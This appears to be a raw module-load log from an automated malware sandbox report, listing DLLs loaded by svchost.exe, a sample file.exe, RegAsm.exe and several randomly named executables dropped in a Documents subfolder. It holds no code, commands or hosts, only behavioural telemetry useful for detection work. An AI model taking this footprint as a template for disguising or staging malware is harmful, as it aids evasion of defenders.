Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostservice.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: networkhelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdataplatformhelperutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mccspal.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: syncutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: syncutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcfgutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcmnutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmxmlhelputils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: inproclogger.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.networking.connectivity.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: synccontroller.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pimstore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: accountaccessor.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: systemeventsbrokerclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatalanguageutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mccsengineshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cemapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatatypehelperutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: phoneutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: storsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bcd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: storageusage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: w32time.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vmictimeprovider.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Section loaded: mscorjit.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Section loaded: amsi.dll
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
